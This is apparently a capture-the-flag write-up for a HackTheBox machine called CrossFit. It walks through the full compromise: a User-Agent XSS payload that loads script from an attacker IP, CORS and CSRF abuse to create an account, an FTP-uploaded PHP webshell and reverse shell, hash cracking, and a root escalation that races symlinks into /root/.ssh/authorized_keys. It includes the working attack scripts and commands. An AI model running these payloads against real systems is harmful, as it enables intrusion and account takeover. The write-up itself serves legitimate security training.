$ nmap -p- --min-rate 3000 10.129.221.128
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-10 05:59 EDT
Warning: 10.129.221.128 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.221.128
Host is up (0.0085s latency).
Not shown: 63082 closed tcp ports (conn-refused), 2450 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Detailed scan:
$ nmap -p 21,80 -sC -sV --min-rate 3000 10.129.221.128
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-10 07:44 EDT
Nmap scan report for 10.129.221.128
Host is up (0.011s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=*.crossfit.htb/organizationName=Cross Fit Ltd./stateOrProvinceName=NY/countryName=US
| Not valid before: 2020-04-30T19:16:46
|_Not valid after: 3991-08-16T19:16:46
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: Host: Cross
Added crossfit.htb to my /etc/hosts file. Also noted that the cert name had a wildcard, meaning there is possibly multiple subdomains.
SSL Enumeration -> Subdomain
The web page did not load anything useful, so I turned to enumerating the SSL cert for FTP. Using openssl, I can connect to this certificate and find the email address associated with it:
$ openssl s_client -connect crossfit.htb:21 -starttls ftp
CONNECTED(00000003)
depth=0 C = US, ST = NY, O = Cross Fit Ltd., CN = *.crossfit.htb, emailAddress = info@gym-club.crossfit.htb
verify error:num=18:self-signed certificate
verify return:1
depth=0 C = US, ST = NY, O = Cross Fit Ltd., CN = *.crossfit.htb, emailAddress = info@gym-club.crossfit.htb
verify return:1
<TRUNCATED>
gym-club.crossfit.htb is the next step.
Web Enum -> XSS
The website was a fitness and sport promoting one:
This was PHP based, and there were quite a few functionalities in this. There was some countdown and subscribe function, which sent a POST request with any email:
I could leave a comment on some posts:
When I posted this comment, this message appeared:
So our comment was being evaluated by a moderator, meaning someone was viewing it! This opens XSS up as a potential first vulnerability.
There's a WAF blocking our request, and it takes note of our IP address and browser information. I also did not get the callback.
I tried to bypass this WAF, but nothing got me a callback. I thought about it, and perhaps I was supposed to trigger this error.
It's quite odd that the website tells me exactly what it is going to send to the security team. Browser information is normally present within the User-Agent header.
As such, I tried poisoning that header with an XSS payload, and triggering the security warning by sending a <script> tag.
POST /blog-single.php HTTP/1.1Host:gym-club.crossfit.htbUser-Agent:<script>document.location="http://10.10.14.13/hiiamxss"</script>name=Test&email=test%40gmail.com&phone=test&message=<script>&submit=submit
This triggered the bug again, but this time I was able to get a callback:
Using this knowledge, automating this step is rather easy.
Using this, I was able to inject payload. However, I was unable to steal any cookies, nor was I able to view anything that was interesting.
I noticed that within these requests, the Access-Control-Allow-Credentials header was set to true.
This means that the browser includes credentials, which includes cookies and whatever authentication headers are being used. This gave me an idea to try using CORS to find what other subdomains are present on this machine.
Using this, and the XSS I had, I constructed a quick script to test subdomains reachable via XSS, and then steal the page contents.
So the above takes a fake subdomain, and then attempts to fetch it. Retrieving a legit domain results in a page being stolen like so:
I noted that this was being visited by report.php. As such, I can start brute forcing this thing using a Python server that accepts POST requests and outputs them to stdout.
from http.server import BaseHTTPRequestHandler, HTTPServerfrom urllib.parse import parse_qsclassMyRequestHandler(BaseHTTPRequestHandler):defdo_POST(self): content_length =int(self.headers['Content-Length']) post_data = self.rfile.read(content_length) params =parse_qs(post_data.decode('utf-8')) self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers()# Print the received parametersfor key, values in params.items():if'zxx'in values:breakprint(f"{key}: {values}")defrun_server(port=8000): server_address = ('', port) httpd =HTTPServer(server_address, MyRequestHandler)print(f"Server running on port {port}") httpd.serve_forever()if__name__=='__main__':run_server()# used python3 server.py > output.txt # because i was lazy
The zxx check is there because I noticed a lot of the results returned that, and it was for the default Apache page.
The above doesn't work in registering an account, and I think it is due to the _token variable changing each time I use fetch. This CSRF token has to be retrieved in the same session.
Setting credentials to include means I use the same session for everything. When this is run, the response tells me it worked:
Using this, I can now login and enumerate the FTP server:
FTP Write -> Webshell
From the above image, I can only write to development-test. This directory also includes all of the other web applications, and they are all in PHP. I cannot reach development-test from my machine, so I probably gotta use the XSS + CSRF exploit.
I tried uploading a PHP webshell which worked:
lftp test123@ftp.crossfit.htb:/development-test> put cmd.php
34 bytes transferred
Afterwards, I can execute commands via the webshell, and return that response to my HTTP server.
Finally. The cmd.php shell is cleared pretty fast, but getting a reverse shell from here is trivial and fast. I had to use a PHP reverse shell in the end for some reason.
Privilege Escalation
Ansible Playbooks -> User Password
I ran linpeas.sh, and it picked up on a few interesting things:
There's a cronjob by the user isaac, but I cannot read the PHP files so I won't worry about that yet.
At the very bottom of the output are these 2 hashes:
www-data@crossfit:/dev/shm$ ls -la /home
total 16
drwxr-xr-x 4 root root 4096 Sep 21 2020 .
drwxr-xr-x 18 root root 4096 Sep 2 2020 ..
drwxr-xr-x 6 hank hank 4096 Sep 21 2020 hank
drwxr-xr-x 7 isaac isaac 4096 Sep 21 2020 isaac
It can be cracked using john:
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
powerpuffgirls (?)
1g 0:00:00:07 DONE (2024-03-10 12:37) 0.1335g/s 3178p/s 3178c/s 3178C/s tajmahal..231990
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
I can then su to hank:
Admins Group + Cronjob + SQL Creds
hank is part of the admins group. Earlier, I saw a cronjob running a script from isaac directory, and conveniently the directory is owned by the admin group:
hank@crossfit:/home/isaac$ ls -l
total 4
drwxr-x--- 4 isaac admins 4096 May 9 2020 send_updates
Here's the contents of the send_updates.php script:
<?php/*************************************************** * Send email updates to users in the mailing list * ***************************************************/require("vendor/autoload.php");require("includes/functions.php");require("includes/db.php");require("includes/config.php");usemikehaertl\shellcommand\Command;if($conn){ $fs_iterator =newFilesystemIterator($msg_dir);foreach ($fs_iterator as $file_info) {if($file_info->isFile()) { $full_path = $file_info->getPathname(); $res = $conn->query('SELECT email FROM users');while($row = $res->fetch_array(MYSQLI_ASSOC)) { $command =newCommand('/usr/bin/mail'); $command->addArg('-s','CrossFit Club Newsletter', $escape=true); $command->addArg($row['email'], $escape=true); $msg =file_get_contents($full_path); $command->setStdIn('test'); $command->execute(); } }unlink($full_path); }}cleanup();?>
The script runs every time there's a new file within a msg_dir variable. The most interesting part was the dependency used:
The addArg function does not escape all arguments. However, I would need to have direct access to the database to exploit this, which I do not right now.
As such, I took a look around the machine, and found some FTP stuff:
hank@crossfit:/srv$ ls
ftp
This was running vsftpd, so I checked the /etc folder, and found some interesting details within /etc/vsftpd/user_conf:
And it brought me to the messages directory, and this is probably tied to the msg_dir variable I found earlier.
I thought of the script itself, and wondered where did I encounter emails at, and realised that way earlier in the box, there was a "Subscribe" option asking for emails.
Within the /var/www/gym-club file, there was a jointheclub.php script:
Afterwards, I need to upload any file via FTP This is because the send_update.php file runs on detecting new files. Putting a new file within the messages directory triggers the payload:
Basic Enum -> Ghidra RE
I ran pspy64 and linpeas.sh to enumerate stuff as this user, and was initially particularly interested in the staff group.
I checked both ./pspy64 and ./pspy64 -f to monitor for file events.
There was dbmsg binary, which I could not find on my own machine, meaning it is not a default one.
Here's some basic information about it:
isaac@crossfit:~$ ls -la /usr/bin/dbmsg
-rwxr-xr-x 1 root root 19008 May 13 2020 /usr/bin/dbmsg
isaac@crossfit:~$ file /usr/bin/dbmsg
/usr/bin/dbmsg: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=2f0bc3cfa6ec6a297f58ae75f8802bd1b5ef7162, not stripped
isaac@crossfit:~$ /usr/bin/dbmsg
This program must be run as root.
Downloaded this back to my machine, and opened it up in ghidra.
The main functions checks if the user running is root:
This calls process_data() after srand, which does some stuff with the MySQL database:
The process_data() function did somet unique stuff, in which it took all the stuff from the messages table and stored it within a variable:
It then opens a .zip file and creates a new file for each entry in /var/local:
The name of each file s rather unique. It is local_98, and it is the random number generated from main() and the first column, which is MD5 hashed together.
The file is then dumped into /var/local. Afterwards, this new file is added to thecomments.zip file.
Afterwards, the file in /var/local is deleted, and the database entry is removed.
This binary is always run as root and it creates files with MD5 hashes as their name. The srand number can be brute forced if given enough hashes. I already have database control, and root is writing to files. If I can guess the right hash, then I can create a symbolic link (with the same name) directed at /root/.ssh/authorized_keys.
Based on the hash generation, this script runs every minute or so, and I can control what is in the database. As such, generating the hash is easy since the random number (based on time) will eventually be right if I run it infinitely, and the database entry is controlld by me.
So to exploit this, I have to:
Write a small random number generator based on the time.
Insert an entry into the database with my public SSH key.
Create a bash script that loops forever, generating random numbers and hashing it to create new files within /var/local.
Each file created must be a symlink pointing to /root/.ssh/authorized_keys.
Root Shell
Here's the script for generating random numbers based on time:
This has to be compiled on the machine itself. From the binary, the messages table has 4 columns: id, name, email and message. The id can be fixed at 1, and the rest of the fields would be my public SSH key.
Here's the one-liner to put a database entry:
mysql -h localhost -u crossfit -poeLoo~y2baeni -Dcrossfit -e'insert into messages (id, name, email, message) values (123, "ssh-ed25519", "kali@kali", "AAAAC3NzaC1lZDI1NTE5AAAAIPGjC0f5ZIEHnUQHy/0PQuQFo+QIlPnFUsnyooVvCH5R");'
Then, here's the bash loop to infinitely generate symlinks:
while true; do ln -s /root/.ssh/authorized_keys /var/local/$(echo -n $(./exploit)123 | md5sum | cut -d " " -f 1) 2>/dev/null; done
When the loop is running, it generates a lot of files within the /var/local file:
And every single one points to the root directory:
While it was running, I just kept trying to ssh in as root using the private key. Again, this works because eventually the right number and hence MD5 hash is created.
After a while, it worked!
Rooted!
Scripts Used
Just to recap:
The Pyhton POST server was used to receive POST requests from the XSS.
Another Python script was used for delivering my XSS payload, and I varied the Javascript file executed.
One Javascript payload was used for enumerating subdomains, thus accepting a fuzz parameter.
The other Javascript payload was used for creating a new account with the same session (credentials set to include).
The last script was to trigger the cmd.php shell.
Python POST Server
from http.server import BaseHTTPRequestHandler, HTTPServerfrom urllib.parse import parse_qsclassMyRequestHandler(BaseHTTPRequestHandler):defdo_POST(self): content_length =int(self.headers['Content-Length']) post_data = self.rfile.read(content_length) params =parse_qs(post_data.decode('utf-8')) self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers()for key, values in params.items():if'zxx'in values:breakprint(f"{key}: {values}")defrun_server(port=8000): server_address = ('', port) httpd =HTTPServer(server_address, MyRequestHandler)print(f"Server running on port {port}") httpd.serve_forever()if__name__=='__main__':run_server()
XSS Payload Delivery
import requestsfrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)proxies ={'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}URL ='http://gym-club.crossfit.htb'wordlist =open('/usr/share/seclists/Discovery/Web-Content/common.txt', 'r')# for line in wordlist:# sub = line.strip('\n')payload =f'''<script src="http://10.10.14.13/rce.js"></script>'''headers ={'User-Agent':payload}data ={'name':'Test','email':'test@test.com','phone':'test','message':'<script>','submit':'submit'}r = requests.post(URL +'/blog-single.php', data=data, headers=headers, verify=False, proxies=proxies)